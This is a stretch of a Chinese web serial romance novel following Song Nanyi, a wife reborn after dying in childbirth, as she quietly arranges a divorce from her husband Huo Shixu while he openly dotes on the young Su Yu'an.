《难产夜,霍总为白月光殉情了》
第2章 新人笑,旧人哭
走出宴会。
宋南伊坐进车里,将司机请到车外,给自己的律师朋友,打去了电话。
“我要跟霍时序离婚。”
那头错愕半晌,“你来真的?”
“尽快帮我调查一下霍时序的情况,然后起草一份离婚协议书,越快越好。”
宋南伊的声音过于冷静。
律师朋友,排除她是吵架或是酒醉后的冲动后。
应了下来,“好,我会尽快。”
“谢谢。”
挂断电话,宋南伊望着手机发呆。
屏保还是她和霍时序的结婚照。
当时她笑得有多开心,现在就有多讽刺。
“南伊,我会爱你一辈子,下辈子,下下辈子,至死不渝。”
“南伊,娶到你是我修了几世的福分,我要你天天开心,我不会让你哭的。”
“南伊,给我生个宝宝吧,我们爱情的结晶,他一定是全天下最可爱的宝宝。”
“南伊……”
“南伊……”
宋南伊的心脏一寸寸地被啃噬着。
唇角勾起冷笑,“霍时序,你早已经忘记你的誓言,我们的孩子……”
宋南伊闭起眼睛。
指甲深陷进皮质的座椅。
唇角颤抖,两行清泪。
她特意等到天黑才回到,那个熟悉的家。
除了几个下人,并没有霍时序回来的痕迹。
“先生,没回来吗?”就算霍时序不回来,他也应该将他的心上人送回来,“苏小姐呢,也没回来?”
下人被问得一懵,“太太,先生没有回来,您说的什么苏小姐,我也没有见到。”
宋南伊一愣。
旋即,慢条斯理地换上拖鞋。
唇角扯出一抹艰涩的笑。
大抵今晚上,是不回来了。
“行了,你去休息吧。”
“好的,太太。”
前世,霍时序将苏语安介绍给她,要带回家时,她拒绝了。
她不止拒绝,还给了霍时序一个耳光。
骂苏语安的话,也很难听。
霍时序当场就恼了,不顾在场所有人异样的眼光,带着苏语安离开。
那样子,像极了私奔。
霍时序其实也没有变。
爱起来,还是那样的不管不顾。
只是爱的人变了。
用他自己的话来说,上流社会的男人,哪个不在外面有几个情投意合的红颜知己。
睡不睡在一起,一念之间。
霍时序只是贯彻得更为彻底而已。
不知道,他在跟苏语安说情话的时候,有没有记起,他曾经对她说过,他会爱她一辈子。
宋南伊深呼吸。
不重要了。
重生回来,又不是要挽回这段,不值得的婚姻。
关了灯,宋南伊轻拾脚步上楼。
还未走到二楼拐角处。
门被打开。
紧接着,霍时序和苏语安一起走了进来。
“南伊姐是还没有回来?还是已经睡了?”女孩的声音娇柔动听。
男人抬头四下扫了一圈。
“应该已经睡了吧,她向来早睡。”
女孩安然点头,“时序哥,我住进家里,是不是不太好啊,今天,我看南伊姐的脸色不好看,她是不是不喜欢我啊?要不……”
苏语安面露难色,扭头,准备离开。
被霍时序抬手拦下,“怎么会。”
苏语安红着眼,一副娇弱可怜的模样,一瞬不瞬的盯着男人的眼睛。
四目相对。
他的唇,缓缓向她靠近。
门口的小夜灯下,二人交缠的身影,落进宋南伊的眼中,格外的刺痛。
爱情从来都是新人笑,旧人哭。
宋南伊收回视线。
只是淡得不能再淡的,扯了扯唇,转身回房。
这晚。
霍时序没有立即回房。
而是去到了隔壁,她为苏语安收拾的房间。
尽管,二人压抑着,宋南伊还是听到了只有男女在一起,才会发出的靡靡之音。
前世,她真的太蠢了。
他们竟然已经爱到了这种程度,她都没有发现。
宋南伊以为霍时序,今晚会一直跟苏语安在一起。
可能是良心发现了,又或突然记起了,他的老婆还在隔壁,终归是收敛了。
上床后,他揽住她的腰,在她的脸上亲了一下,“最近怎么总是这么困,不会是怀孕了吧?”
黑暗中。
宋南伊的眼眸,瞬间被点亮。
怀孕?
没错,上一世的三个月前,她就已经开始备孕,差不多也是这个时间查出来怀孕的。
她不能让上一世的悲剧,在这一世重新上演。
被子里,她细长的
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手指,紧紧抓住了腹部的睡衣,指尖颤抖地喃了句,“没有。”
“改天,我陪你去检查一下,如果没有怀的话,我们再加油。”他吻着她的颈子,一下下的,十指紧扣,欲望明显。
宋南伊不是很理解。
一个男人刚从另一个女人床上下来。
是怎么能脸不红,心不跳的,说出要生孩子这件事情的。
大抵是,脸皮这种东西,也不存在了。
“霍时序。”宋南伊想知道他是怎么想的,“你觉得,我们还有要个宝宝的必要吗?”
霍时序沉默了。
这个时间,大概有五六秒。
他也在犹豫。
因为他已经有了苏语安。
只不过迫于双方长辈的压力,他不得不跟她要个宝宝,而并不是他想要一个爱情的结晶。
“如果你还没有玩够,我们也可以迟一些再要。”他语调变得冷淡,又有那么一丝的如释重负。
宋南伊心口泛凉。
他终归是把责任,又推到了她的身上。
“霍时序,你还爱我吗?”
不合时宜的问题,在黑暗中,显得格外突兀。
宋南伊猜测着霍时序,会如实回答,又或是逃避这个问题。
毕竟,他有了苏语安。
为她守点什么,也是他作为一个合格恋人,必备的技能。
前世,争得最凶的时候,她也曾质问过霍时序,为什么他去爱了别人。
他只是凶狠地瞪着眼睛说,“宋南伊,你连苏语安的小手指,都不如,你让我如何再爱你。”
答案,其实在前世已经说过了。
她只是想知道,在她顺从他的情况下,他会不会心有愧疚地说出那句,我当然爱你,这样的谎言。
结果可想而知。
霍时序依然用沉默,代替了答案。
他不爱她了,在苏语安出现的那一刻,就已经不爱了。
“你是不是还在介意,语安她搬到家里来住这件事情?”
宋南伊失神地望着窗外微弱的月光。
她的答案重要吗?
如果重要的话,他不会问出这种问题。
“她只是个无家可归的孩子,我们伸把手,就可以把她从淤泥中拯救出来,为什么不呢?”霍时序渐渐失去了耐性,“南伊,你就不能收一收,你那擅妒的性子?”
第3章 调情
宋南伊苦笑。
是啊,在前世,她就是个妒妇。
已经被霍时序钉在了耻辱柱上。
在她怀孕的那段时间,他天天以此为名,逼她赶紧离开他,离开这个家。
离婚二字没说出,只是因为霍时序极爱他的面子,不想在外人的面前,做那个负心汉而已。
那时的她,备受折磨。
人不人,鬼不鬼的。
最终也没有逃得了一劫。
“所以呢,你到底还爱不爱我?”宋南伊再问。
霍时序掀起被子下床,语调冷漠,“不要老问这种没头脑的问题,你现在,更需要好好的睡一觉,我去睡客房。”
他逃避了。
是慌不择路的逃。
……
清晨。
宋南伊从楼上下来时。
苏语安正系着围裙在厨房里做早餐。
霍时序就站在厨房的门口,抱怀看着她有些笨拙又可爱的模样。
他唇角的宠溺,满的快要溢出来。
好像这个家是他们两个人的,宋南伊只是个不应该出现的第三者。
苏语安做了一锅咖喱米饭。
可能是太烫了,她拿不稳,霍时序接过去后,她抓了抓自己的耳垂,笑得娇嗔。
场面温馨到,宋南伊觉得自己的出现,是个罪过。
苏语安一扭头看到了宋南伊。
她的眸底闪过一抹惊慌失措,小心翼翼地,“南伊姐,我做了早餐,不知道合不合你的口味。”
宋南伊看向餐厅上的那两双碗筷。
明摆着这早餐也没她的份。
听到宋南伊下楼的动静,霍时序抬头看向她。
“语安她做了早餐。”他的语气,比起昨晚柔软了许多,“你的胃一直不好,米饭好消化,你多少吃一点。”
霍时序此时的温柔,应该是怕她不给苏语安面子。
伤了小可爱的心。
唯独忘了,她不爱吃咖喱,他也不爱。
“不了,我还有事。”宋南伊拒绝了。
她有更重要的事情,今天,她要跟她的律师朋友见个面。
霍时序并没有关注宋南伊的情绪。
更不在意,她有什么重要的事情。
移情别恋后,他的重点,早已经不在她的身上。
也已然不是那个,她去做个头发,他都会紧张到她会出事的男人。
宋南伊换好鞋子,要走的时候。
苏语安拿了两个面包,过来,“南伊姐,早餐不吃很伤身体的,这两个面包,你拿着,饿了垫一口。”
面包是牛油果味的。
用料十足,但卖相确实不好。
苏语安尴尬的解释,“这是我早上起来现做的,不太好看,但绝对好吃。”
“拿着吧,语安的一片心意。”霍时序说。
苏语安点头,将面包往宋南伊面前递了递。
宋南伊的视线在苏语安的面上,停留了那么几秒后,还是伸手接了过来。
离开家后。
她顺手将这两个面包,丢进了垃圾桶里。
走到车边,宋南伊才意识到,车钥匙没拿。
应该刚刚换鞋时,把车钥匙,放到鞋边柜上了,走的太急,忘了。
折身又返回去拿。
推开客厅的门,抬眼间,宋南伊看到霍时序几乎是将苏语安,圄在了餐桌前。
他们像是在调情,眼中的纠缠,浓的拉丝。
可能是过于投入,过于的难舍难分,并没有发现去而复返的宋南伊。
这时。
宋南伊的手机响起。
两个人,像受到惊吓般的,几乎同时望向了宋南伊。
宋南伊挂断了手机。
视线落到霍时序唇角的咖喱上。
他脸色微变。
苏语安惊慌失措的解释,“南伊姐,我和时序哥,是,是……是香蕉皮,对,就是香蕉皮滑了一下,所以才,才不小心,姐姐,不是你想的那样,你千万别误会。”
霍时序眼神瞥向别处,没敢看宋南伊,“确实是……香蕉皮惹的祸,你别误会。”
谎言拙劣。
逗的宋南伊发笑。
香蕉皮,也没想到,它有一天,可以背这么大一口锅吧。
“知道了。”宋南伊拿了车钥匙,转身离开。
霍时序注意到宋南伊与往日不同。
她是真的相信了这样的谎言?
从前,他和女人走得近一些,她都会劈头盖脸地骂他,与他冷战,他有时得哄好几个月,她才肯原谅。
今天怎么……
……
宋南伊开车出了门。
路上,她给裴吟打了个电话。
让她一同前往律所。
律师朋友,是当初裴吟介绍她们认识的。
离婚这件事情,她需要好好的跟她们商量
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一下。
裴吟比宋南伊到得早。
在她来之前,她已经把霍时序骂了个狗血淋头。
“当初,他追求你的时候,我就跟你讲,这种男人最能屈能伸,倘若哪一天,他不爱了,那刀尖扎进的是你的胸口,你偏不信,现在应验了吧?”
裴吟的脸色难看。
当初,她总是说霍时序的坏话,为此宋南伊还跟她冷战了一段时间。
后来。
宋南伊嫁给霍时序。
裴吟也跟宋南伊断了联系。
今天接到宋南伊的电话,她是有些错愕的,没想到,是这事。
“我以为……”宋南伊以为霍时序会爱她一辈子,可她错了。
大部分男人,都有很重的猎奇心理。
这一点,在女人身上尤为凸显。
“……裴吟,我已经决定,要跟霍时序离婚了。”
“你早该离了。”庆幸的是,他们之间没有孩子,这少了很多瓜葛,“宋南伊,你就感谢上天,你和霍时序没有生个孩子,要不然,这受罪还在后头呢。”
宋南伊苦笑。
前世,她是有孩子的。
是霍时序剥夺了她的生命,剥夺了她做母亲的权利,那孩子是男是女,她都不知道,就被……
宋南伊捂着心口,心绞着痛。
律师连芃忙倒了杯水,递给宋南伊,“调查霍时序的财务状况,需要一段时间,你可以把你的需求,大概跟我讲一下,到时,我起草离婚协议的时候,会加进去。”
“出轨,就该净身出户。”裴吟生气。
宋南伊知道这不可能。
霍时序已经不是当年那个,要月亮不摘星星的男人。
他更不会承认自己出轨,男人,最擅长的就是推卸责任。
“我结婚的时候,父母陪嫁了南城的一块地皮。”
前世的时候,这块地皮盖了一个游乐场,名字叫语安游乐园。
是霍时序送给苏语安的礼物。
她死的前一天,刚刚竣工。
她要拿回来。
连芃想了一下,“这个问题应该不大,别的呢?”
别的?
宋南伊其实可争取的东西,还有很多。
但,她已经没有力气,跟一个变了心的男人,在这上面撕扯。
裴吟猜出了宋南伊的心思。
对连芃说,“她不想争了。”
第4章 她胆子小
宋南伊平静点头。
她在意的,并不是她可以得到霍时序多少的财产。
而是,他能不能痛快地跟她把婚离了。
宋贺两家之间关联的公司,互持的股份太多,利益盘根错节,他就算有了新宠,也未必然,会不管不顾地与她割舍。
真正要在这上面掰扯明白,需要律师的介入。
“连律师,在不损害宋家利益的前提下,麻烦你尽快起草一个合理的财产分割方案,越快越好。”
连芃听出了她的急迫。
这样的离婚案子,在上流社会夫妻之间,屡见不鲜。
不难,就是需要时间。
“好。”
裴吟有些气不过去,“你倒是大度,他背叛婚姻,应该付出代价,不说让他倾家荡产,也得让他割点肉,尝尝苦头,你的宽容,只会是他日后,和小三幸福生活的温床。”
道理,宋南伊都懂。
在一个不爱她的男人面前,无论是声泪俱下,又或是哀求示弱,换来的只会是自己的颜面扫地。
前世,这种事情,她做得太多了。
霍时序不是照样爱苏语安,爱得恨不得把命都给她。
比起前世的窒息,她现在想的更多的是逃离。
“我只想快点离婚。”
裴吟不知道宋南伊最近发生了什么。
只是用不懂又心疼的眼神,看着她。
许久,“连芃,你就按南伊说的来吧,不管怎样,渣男早晚会有报应的。”
走出律所。
裴吟喊宋南伊去喝一杯。
她婉拒了,她现在还有更重要的事情要去做。
“裴吟,改天吧。”
裴吟没勉强,拍了拍她的胳膊,“车到山前必有路,会顺利的。”
宋南伊点头。
她知道。
宋南伊去了医院。
挂了一个妇产科的号。
她不想前世的悲剧再次上演,现在首要确定的就是她有没有怀孕。
“上次月经是什么时候?”医生问。
宋南伊:“上个月18号。”
“上次性生活呢?”
“前天。”
“先验个血吧。”医生递了单子给她。
结果很快出来,是阴性,她松了口气,“没怀孕。”
医生接过单子,提醒她,“现在没测出来,不代表没怀孕,前天的性生活,并不在你的安全期,况且安全期这种东西,也不可尽信,如果不想要孩子的话,可以吃72小时紧急避孕药。”
“那麻烦医生,你帮我开一下药。”
……
走出医院。
宋南伊的手机响了。
是霍时序的电话。
“喂?”
“南伊,有件事情,我要跟你商量一下。”
宋南伊猜是关于苏语安的。
否则,霍时序不低声下气地,用了商量这个词。
“什么事情?”
“语安后天生日,我想为她办一个隆重的生日宴会,你觉得怎么样?”
霍时序的语气里,是不易察觉的兴奋和向往。
宋南伊没说话。
他大概是意识到了什么,“语安她现在也没什么亲人了,其实她是抗拒过生日的,是我坚持要为她过个生日,好让她的心情好一些,对她的病情也有缓解,我们做的是善事,应该更多人文关怀,你说是吗?”
宋南伊心口发涩。
人文关怀?
没等她出声,手机里传来了苏语安的声音,“时序哥,我不用过生日的,别麻烦南伊姐了。”
声音很柔,很娇。
像是在搂着霍时序的脖子撒娇。
宋南伊闭了闭眼,“好。”
“那我一会儿带语安去找你,你跟她商量一下,尽量按她的喜好,让她有一个完美的,值得怀念和回味的生日,我们也算是功德一件。”
“嗯。”
宋南伊的工作室里。
霍时序亲自把苏语安,送了过来。
女孩穿了一件白色的连衣裙,蕾丝花边,裙围钉了珍珠和水钻,做工十分的精致。
这件裙子,她在杂志上见过。
应该是霍时序送的。
毕竟价格昂贵。
“南伊姐。”苏语安怯生生的抬头,但唇角的笑,又掩饰不住被宠爱的幸福,“其实,就普通过个生日就好,我没有要求的,不用太铺张浪费的,你和时序哥已经对我很好了。”
宋南伊看着女孩,不知道是紧张还是心虚而涨红的脸,面色平静。
前世,她对苏语安的印象,跟现在差不多。
这个女孩不怎么爱说话,无论她讲什么,总是用一副湿漉
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漉的眼睛回望着她。
这份楚楚可怜,通常就是她和霍时序争吵的**。
她在苏语安的面前,太多的歇斯底里。
在霍时序面前,又太多不顾脸面和尊严的挽回。
全然忘了,她已经不是霍时序的心上人,他也不再是那个她痛经,不管三更还是半夜,都会为她熬红糖水的男人。
“如果你真的没有要求,那我就按给我自己准备生日会的标准,来准备。”宋南伊淡淡的。
“听姐姐的。”
霍时序轻轻的拍了拍苏语安的背,温声,“去车里等我,我跟南伊说几句话。”
“好的。”
苏语安离开后。
霍时序的脸色也沉了下去。
“语安她年纪小,胆子也小,又有焦虑症,以后,跟她讲话,态度要尽量放柔和一些。”
霍时序在指责她。
明明她什么也没有做。
这一刻,宋南伊的心,是寒的。
似乎是觉得自己口气太过于僵硬,霍时序态度放软,“我其实也不是怪你,她是个病人,我们多担待一些,你别多想。”
“霍时序,你爱上她了是吗?”
她本不想这么快揭穿他的。
甚至,她重生后,并没有打算揭穿,这件事情。
可他这样的迫不及待,急到已经完全忘了,她才是他妻子这件事情。
“霍时序,如果你爱上了别人,我们可以离婚的。”
霍时序的眼眸明显一骤。
讶然于,宋南伊如此平静的说出这件事情。
“除了离婚,你还会说什么?”霍时序望向女人精致的小脸,眉心拧出烦燥,“宋南伊,好好的过日子不行吗?总是说这些,你不觉得很伤害我们夫妻之间的感情吗?没有人会一直惯着你。”
宋南伊在前世的时候,和霍时序吵架说得最多的就是离婚。
每一次,都在他的下跪和道歉中,求得了她的原谅。
是什么时候变的呢?
是霍时序在爱上苏语安的那一刻,他已经不在意她是不是,真的要跟他离婚。
“好了,不说这些,别整天胡思乱想的。”霍时序见宋南伊不说话,耐着性子说,“你辛苦一下,好好准备语安的生日宴吧,我先回去了。”
……
第5章 底层爬上来的,没什么底线
苏语安的生日宴会。
选在了宋南伊和霍时序的家里。
别墅的草坪,被装点上了彩灯,气球,以及数不尽的鲜花和白色的纱幔。
霍时序邀请了江城,有头有脸人物,共同来见证苏语安的生日。
彩炮响起。
随着满天飞舞的彩带和亮片,苏语安挽着霍时序的胳膊,带着甜美的微笑,走了进来。
在场的宾客,无不议论纷纷。
“听说这生日宴会,是霍太太帮着准备的,还真是有心了。”
“这女孩是霍先生资助的对象,能对于这样的人,如此的上心,可真是大善人。”
“霍先生本来就喜欢做慈善,一点都不奇怪。”
宋南伊站在不远处。
听着大家对霍时序的善心的恭维,唇角冷冷勾起。
台上的一男一女,正握着同一把刀子,将宋南伊准备的三层蛋糕,一切到底。
在大家的欢呼声中。
霍时序让自己的助理,送上来了礼物。
是一条名为维纳斯眼泪的,蓝色钻石项链。
象征着爱情,美丽和忠诚。
前世,宋南伊跟霍时序讲过很多次,她喜欢这条项链,让他拍下来送她。
他一次次地应允过后。
也就没了以后。
不是他忘记了,是他要送的人,根本不是她宋南伊,而是苏语安。
霍时序亲自为苏语安戴上时。
全场哗然。
只因这个项链太有名了,很多的达官显贵,都想拍下来,以至于它的溢价已经接近上亿。
“不是资助对象吗?这么大的手笔?霍先生这样大方,霍太太真的同意吗?”
“这条项链,并不是普通的项链,就算是可怜她,也不至于这样。”
“我记得去年霍太太生日的时候,霍先生也送了一条很昂贵的项链,但明显不如这条。”
“我看啊,应该不止是资助对象这么简单吧?你们他们挨得这样的近,说话好像还很亲昵呢。”
“怪不得霍太太躲在角落呢,应该是被伤了心了吧。”
台下的闲言碎语。
随风吹进了苏语安的耳朵里。
她脸涨红着,说什么也要摘下项链,“时序哥,这礼物太贵重了,我不能要,你还是送给南伊姐吧,我……不配。”
“戴着,你值得。”他强势摁下,声音沉着略带沙哑的说,“我还有更贵重的礼物要送你。”
“什么?”
苏语安不安又期待。
一个精致的首饰盒。
打开来看,是一枚心形的陨石。
“这是我送你的第二份礼物,这枚陨石是从外太空的星球上带回来的,我已经将这枚星球的命名权,购买了下来,就叫语安星,送给你做生日礼物。”
霍时序的声音虽然不大。
但透过话筒,穿透力却极强。
大家都很好奇,是怎么样的一枚石头,纷纷张望。
苏语安的面色平静无澜。
看着台上上演着不属于她的爱恋,她只是微微抿起唇角。
前世。
她不同意霍时序带苏语安回家。
他们便在外面按了个家。
她只知道霍时序爱极了苏语安,但是爱的细节,她并不清楚。
所谓爱,就是想把全世界上最不容易得到的东西,双手捧到她的面前。
比如,维纳斯的眼泪。
又比如,以她名字命名的星星。
以前,她也承受过霍时序这样浓烈的爱。
限量版的跑车。
全世界最纯净的钻石。
现在人换了,他的把戏没换。
也许将来,苏语安也会成为第二个宋南伊,但至少现在不是,现在的霍时序的眼里,心里,都是她,这份爱,是嫩得能掐出水来新鲜。
台上上演着,极致的爱恋。
台下来客,对霍时序和苏语安关系的判断,也是五花八门。
甚至,更有人上前,关心宋南伊,台上二人的关系。
“霍太太,你也别太放心了,我看这小姑娘不简单。”
“现在女孩子啊,没什么道德底线的,尤其是从底层爬上来的,她们的目标非常的明确,霍太太要小心哦。”
宋南伊只是抿唇笑笑。
抬眸间,刚好霍时序也向着她这边望过来。
不知道是宋南伊过于平静和冷淡的眼神,令他不适,还是他突然想到了什么。
大步走了过来。
“南伊。”
宋南伊抬眸,“嗯?”
“今天真的辛苦你了。”他搂住她的腰,在她小脸上亲了亲,“你也知道语安她,一直以来,都生活得很苦,我送她这些礼物,只不过是为了让她不那么自卑,你别多想,大家可以不理解我,但你是理解的,对吗?”
霍时序想得到宋南伊的认可。
从而降低自己想要背
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叛婚姻,背叛感情的罪恶感。
宋南伊觉得他很累。
抬手,她想替他整理一下领口,他却下意识地躲闪了一下。
她自嘲地收回手指。
反被霍时序握住,“南伊,我们是夫妻,我们的感情,是不用别人来判定的,我对你从来没有变过。”
“霍时序,你做什么,我都不会多想的,你尽管可以去做自己。”
这当年她和霍时序结婚时,霍时序跟她讲的。
现在,她还给他。
霍时序脸色变了变,突然将宋南伊抱紧,“南伊,你好像变了。”
“哪里变了?”她笑着问他。
霍时序说不上来,但就是感觉跟从前不一样的。
好像……
好像变得通情达理了许多。
好像变得顺从了许多。
“你比以前懂事了。”
宋南伊苦笑。
从地狱里重新爬回人世间。
她怎么可能还执迷不悟于一个变了心的男人。
不值得。
苏语安走过来。
娇声喊人,“南伊姐。”
霍时序松开宋南伊,冲苏语安笑了笑,“南伊她,为了你,辛苦准备了这场盛大的生日宴会,你得谢谢她。”
“南伊姐,谢谢你,真的辛苦了,我真的好感动,这个生日宴会对于我来说,特别有意义。”
苏语安说这话时,望向的却是霍时序。
她眼神拉丝。
霍时序却选择了闪躲。
他轻轻搂住宋南伊的肩,“对了南伊,你一定也给语安准备生日礼物了吧?拿出来吧,让她更开心一些。”
宋南伊没有准备礼物。
她倒是可以把霍时序之前送她的手链,转送给苏语安。
“这是时序送我的,我觉得我戴不合适,就送你吧,希望你喜欢。”宋南伊将四叶草手链摘下来,套到了苏语安的手腕上,“还是年轻的小姑娘,适合粉色。”
霍时序神色不明地黯了黯。
他本意想要阻止,指尖抬起后,最终还是选择了放下。
苏语安看起来很喜欢,但还是假意推脱了一下,“南伊姐,这是时序哥送你的,我怎么好夺爱呢。不行,我不能收。”
“收下吧。”反正,早晚她会扔掉的。
霍时序握着苏语安纤白的手腕,看了看,“确实你的皮肤更衬这条手链,收下吧,改天,我再给南伊买适合她的。”
第6章 流血的手指
热闹的生日宴还在继续。
手腕上少了手链的宋南伊,顿感轻松了不少。
原来,丢弃掉对自己没有意义的东西,是这样的如释重负。
她庆幸。
起风了。
院子里的纱幔被吹得摇摇晃晃。
宋南伊准备回屋里,不再参与这场与自己无关的狂欢。
转身时,不知道是风太大,还是脚没有站稳,人晃了一下,不偏不倚地撞上了香槟塔。
香槟塔被宋南伊扑歪,砸向了站在旁边的人。
随着一声尖叫。
苏语安的身上,满是香槟和酒杯碎掉的玻璃,鲜血淋漓。
这场意外,在宋南伊的意料之外。
苏语安倒在血泊里。
看向她的眼神,透着不解和委屈,“南伊姐,你……”
听到动静的霍时序,推开人群,心疼地将苏语安抱了起来。
他疯似地指责宋南伊,“宋南伊,你是不是疯了,你有什么不满冲我来,你耍什么阴招?亏我还觉得你懂事了,原来,你都是装的,你太阴险了。”
宋南伊站在的原地,脸色煞白,指尖滴滴嗒嗒地流着血。
她不是故意的,而现在,谁又在意呢。
霍时序没有注意到她也受了伤,一味地冲她吼。
“语安她今天生日,这么一个重要的日子,你却这样对她,宋南伊,你最好祈祷语安她没事,否则我不会原谅你的。”
霍时序抱起苏语安走了两步,转过身来狠狠地说,“是我把你想得太善良了,宋南伊,你真的太让我失望了。”
“时序,你没看到南伊她也受伤了吗?”有人提醒霍时序。
他身体顿住,视线望向了宋南伊还流血的手指。
心脏一紧。
刚要有所行动时,苏语安掀开虚弱的眼皮,“时序哥,你还是先去照顾南伊姐吧,我没事的,不用担心我。”
“都伤成这样了,还没事?”霍时序看向说话的男人,“你帮我看着南伊,我先送语安去医院。”
霍时序抱着苏语安大步离开。
宋南伊有些疲惫地闭了闭眼。
果然,不爱就是原罪。
她明知道,他会选择苏语安,但还是挺难受的。
“你受伤了,先处理一下吧。”有人递过来一枚手帕。
宋南伊抬眼望去。
是陆为谦。
他是霍时序的发小,她和霍时序认识并结婚的这些年,其实见他的场合并不多。
算起来,订婚一次,结婚一次,而现在是第三次。
“谢谢。”她接过了他的好意,将受了伤的手指,紧紧地缠住,“我会买一条新的手帕还你。”
“一条手帕而已。”他眉目之间有些担心,“其实,你应该去医院处理一下,免得伤口发炎。”
宋南伊现在,还得收拾眼前的烂摊子。
这点小伤,不处理也问题不大。
“不用了。”
来参加生日宴的宾客,已经越来越无法理解,她和霍时序的状况。
以霍时序对苏语安的紧张程度,
似乎,被抱走的那个,更应该是霍太太。
“不好意思各位。”宋南伊拿起话筒,现场的议论声音,戛然而止,“苏小姐出了一些状况,已经紧急送医,招待不周,还望多多见谅,感谢大家赏脸来参加苏小姐的生日宴,我为大家备了丰厚的回礼,请大家离开时,记得带回,抱歉。”
宾客们大多是看霍时序的面子过来的。
当着宋南伊的面,也不好意思打听太多。
很快,宾客们离开。
院子里除了一地的狼藉,还有一个麻木且平静的女人。
“我送你去医院,处理一下伤口吧。”
男人关心的声音,令宋南伊失神的眼睛,有了一丝动容。
她缓缓转身,望向他,“你怎么没走?”
陆为谦也说不上来,他为什么没有跟大家离开,可能是因为霍时序要他看着宋南伊,又或是他对宋南伊有些怜悯。
“时序他……”
宋南伊猜陆为谦是想为霍时序,解释些什么。
她并没有兴趣。
“陆先生,早点回去吧,我没事的,大家都累了。”
“我知道你今天受委屈了,时序太不应该了。”
她抬眸看向男人。
他微蹙的眉心,似乎在为她打抱不平。
可她并不需要。
在外人眼里,她所谓的隐忍,不过是为了离婚的时候,不节外生枝罢了。
当然了。
如果霍时序通过今天这件事情,肯主动提出来跟她离婚,她更是求之不得,这样会少很多的麻烦,还能保证,宋家的利益不受到损害。
“他有他的选择,我并不介意。”
前世的介意,已经糟到了报应。
这一世归来,她只想快一点,再快一点离开这个男人。
“他只是一时糊涂。”
宋南伊笑了。
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霍时序保护苏语安,是爱的条件反射。
她太懂,他爱一个人是什么样子了。
就像那一年,她被园子里种的玫瑰刺到,他就将园子里的玫瑰全部铲除。
霍时序是那种,一旦爱,就疯狂的男人。
这种爱,可以复制到任何一个女人的身上。
前世,她不懂。
看到霍时序爱苏语安的样子,会痛苦,会拼命地想要抓住他。
哪怕留不住他的心,也要留住他的人。
如果当初,她肯早点认清,他不爱她的现实,也不至于,惨死在产床上。
霍时序是个彻头彻尾的骗子。
骗惨了她的一生。
转身。
宋南伊回了屋。
只留下陆为谦一个人,站在草坪上怔忡发呆。
别墅的夜晚向来宁静。
宋南伊在客厅里坐了一会儿。
管家路姐,端了杯牛奶走过来,“太太,喝杯牛奶安安神,先生他应该会一直呆在医院里,处理苏小姐的事情,您就别等了,早点休息吧。”
连佣人都能揣摩到,霍时序对苏语安的在乎。
宋南伊觉得有点丢人。
“路姐,你也能看出来,霍时序他对苏语安跟别人不一样对吧?”
路姐面露尴尬。
这话,她不好讲。
但她又不得不承认,今天霍时序对苏语安的在乎,超出了常理。
明明太太也受伤了。
他却这样地撇下。
“可能是,先生他觉得苏小姐太可怜,关注多了一些吧。”
“你是这样认为的?”宋南伊笑着摇了摇头,“路姐,现在家里就我们两个,你尽可以实话实说。”
前世,路姐对她不错。
有几次,霍时序冲她发脾气,扔东西,都是路姐替她挡下了。
路姐为人比较实在,她确实是看不惯霍时序这样。
觉得对宋南伊不公平。
既然宋南伊问了。
她索性就直言,“我认为,太太你应该劝一劝先生,让他把苏小姐送走吧,再这样下去,很可能就影响到了你和先生的感情,得不偿失啊。”
“也许,苏语安才是他的真爱,我可不想棒打鸳鸯。”宋南伊笑笑。
路姐听着这话难受,“这结了婚的男人,遇到什么所谓的真爱,就是下半身那玩意在作祟,不是有句歌词怎么唱的来着,得不到的永远在骚动,太太您可得看好先生,别让他被人骗了。”
第8章 一脖子的吻痕
霍时序诧异地看向她。
以前宋南伊,就算被蚊子叮一下,都会叽叽歪歪地冲他撒娇。
“时序,这个蚊子好讨厌哦,你看,给我叮的这个大包,好痒,好痛。”
他也会温柔地哄她,“那我把它五马分尸,好不好?竟然敢咬我的伊伊宝贝。”
她通常会被逗笑得停不下来。
说他好幼稚。
昨天,他帮她处理伤口的时候,看到过,很深,她竟然一点都没有喊疼。
霍时序神色复杂地看着宋南伊,“你……变了好多。”
“是吗?”她觉得挺难为他的,还有精力观察她的变化,“人,总是会成长的,不是吗?”
而她的成长。
就是学会不再爱他。
不再为他歇斯底里。
重生回来以后,哪怕再痛,再恨,她一滴泪也没有掉过。
从黄泉爬上来,她早已心死。
霍时序盯着宋南伊平静小脸,看了许久,才讪声,“成长是好事,以前你就是太过于娇气了。”
宋南伊不是不知道疼了。
十指连心,她怎么会毫无感觉。
只是她知道,无论她再怎么疼,那个曾经视她如心头肉的男人,也不会再多看她一眼。
何必演娇弱。
“时序哥,我想上厕所,你可以帮我拿一下吊瓶吗?”苏语安从病房里,探出半边身子。
宋南伊眼皮没抬地转身,“你去陪她吧,我先回去了。”
霍时序犹豫着回头看了苏语安一眼,再抬手抓向宋南伊时,只握了一把空气。
“时序哥……”苏语安唤他。
最终,霍时序转身走向了病房。
宋南伊走出医院。
站在街边,她望向迎面走来的年轻母子。
妈妈拿着糖葫芦,耐心又温柔地哄自己不到三岁的小娃娃。
小娃可爱极了。
一个一个妈妈地叫着。
宋南伊的心口涩得厉害。
她眼前突然出现了前世生产时的场景。
她天生骨盆狭窄。
医生建议她剖宫产,但是霍时序不同意,说了很多冠冕堂皇的理由,让她自己生。
她疼了三天三夜,几次晕厥。
抬上产床的时候,骨头裂开的疼,让她根本没有力气生产,只想一**之。
她的生产并不顺利。
后来化成,产房里的血流成河,仪器无法监测到脉搏的报警蜂鸣。
化成,父母撕心裂肺的哭声,还有裴吟怒骂霍时序的脏话。
宋南伊指尖颤抖。
眼眶又红又涩。
她深呼吸。
转身,她坐进车里。
刚系好安全带,手机震动了一下。
宋南伊拿起来看了一眼,是苏语安发来的信息。
内容:“南伊姐,既然昨天的事情是误会,我们就都不要介意了,我的伤有时序哥照顾着,一定会好得很快的,你别担心,你也要好好养伤哦。”
苏语安,对着手机,比了个耶,发了个自拍给宋南伊。
照片的角度,刚刚好,把正在给苏语安削苹果的霍时序,拍了下来。
宋南伊笑了。
这场景,过于刻意。
刻意的,有点眼熟。
像前一世,苏语安顶着一脖子的吻痕,泪流满面地来到宋南伊面前说,她错了,不要怪霍时序一样的……茶。
把戏老套,不过就是想刺激她失态。
这一世,很多事情改变了。
苏语安内心的欲望,没变。
宋南伊拿起手机给她回了句,“我会的。”
放下手机。
宋南伊开车往家走。
再过几天,是她和霍时序结婚三周年的日子。
往年的这一天。
